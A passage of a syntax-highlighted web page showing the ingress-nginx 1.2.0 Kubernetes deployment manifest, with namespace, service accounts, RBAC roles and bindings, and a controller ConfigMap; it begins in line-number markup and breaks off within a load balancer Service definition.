class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Namespace</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">automountServiceAccountToken:</span> <span class="literal">true</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ServiceAccount</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">controller</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ServiceAccount</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">admission-webhook</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx-admission</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">rbac.authorization.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Role</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">controller</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="attr">rules:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">&quot;&quot;</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">namespaces</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">get</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">&quot;&quot;</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">configmaps</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">pods</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">secrets</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">endpoints</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">get</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">list</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">watch</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">&quot;&quot;</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">services</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">get</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">list</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">watch</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">networking.k8s.io</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">ingresses</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">get</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">list</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">watch</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">networking.k8s.io</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">ingresses/status</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">update</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">networking.k8s.io</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">ingressclasses</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">get</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">list</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">watch</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">&quot;&quot;</span></span><br><span class="line">  <span class="attr">resourceNames:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">ingress-controller-leader</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">configmaps</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">get</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">update</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">&quot;&quot;</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">configmaps</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">create</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">&quot;&quot;</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">events</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">create</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">patch</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">rbac.authorization.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Role</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">admission-webhook</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx-admission</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="attr">rules:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">&quot;&quot;</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">secrets</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">get</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">create</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">rbac.authorization.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ClusterRole</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="attr">rules:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">&quot;&quot;</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">configmaps</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">endpoints</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">nodes</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">pods</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">secrets</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">namespaces</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">list</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">watch</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">&quot;&quot;</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">nodes</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">get</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">&quot;&quot;</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">services</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">get</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">list</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">watch</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">networking.k8s.io</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">ingresses</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">get</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">list</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">watch</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">&quot;&quot;</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">events</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">create</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">patch</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">networking.k8s.io</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">ingresses/status</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">update</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">networking.k8s.io</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">ingressclasses</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">get</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">list</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">watch</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">rbac.authorization.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ClusterRole</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">admission-webhook</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx-admission</span></span><br><span class="line"><span class="attr">rules:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">admissionregistration.k8s.io</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">validatingwebhookconfigurations</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">get</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">update</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">rbac.authorization.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">RoleBinding</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">controller</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="attr">roleRef:</span></span><br><span class="line">  <span class="attr">apiGroup:</span> <span class="string">rbac.authorization.k8s.io</span></span><br><span class="line">  <span class="attr">kind:</span> <span class="string">Role</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="attr">subjects:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">kind:</span> <span class="string">ServiceAccount</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">rbac.authorization.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">RoleBinding</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">admission-webhook</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx-admission</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="attr">roleRef:</span></span><br><span class="line">  <span class="attr">apiGroup:</span> <span class="string">rbac.authorization.k8s.io</span></span><br><span class="line">  <span class="attr">kind:</span> <span class="string">Role</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx-admission</span></span><br><span class="line"><span class="attr">subjects:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">kind:</span> <span class="string">ServiceAccount</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx-admission</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">rbac.authorization.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ClusterRoleBinding</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="attr">roleRef:</span></span><br><span class="line">  <span class="attr">apiGroup:</span> <span class="string">rbac.authorization.k8s.io</span></span><br><span class="line">  <span class="attr">kind:</span> <span class="string">ClusterRole</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="attr">subjects:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">kind:</span> <span class="string">ServiceAccount</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">rbac.authorization.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ClusterRoleBinding</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">admission-webhook</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx-admission</span></span><br><span class="line"><span class="attr">roleRef:</span></span><br><span class="line">  <span class="attr">apiGroup:</span> <span class="string">rbac.authorization.k8s.io</span></span><br><span class="line">  <span class="attr">kind:</span> <span class="string">ClusterRole</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx-admission</span></span><br><span class="line"><span class="attr">subjects:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">kind:</span> <span class="string">ServiceAccount</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx-admission</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">data:</span></span><br><span class="line">  <span class="attr">allow-snippet-annotations:</span> <span class="string">&quot;true&quot;</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ConfigMap</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">controller</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx-controller</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Service</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">annotations:</span></span><br><span class="line">    <span class="attr">service.beta.kubernetes.io/aws-load-balancer-backend-protocol:</span> <span class="string">tcp</span></span><br><span class="line">    <span class="attr">service.beta.kubernetes.io/aws-load-balancer-cross-zone-load-balancing-enabled:</span> <span 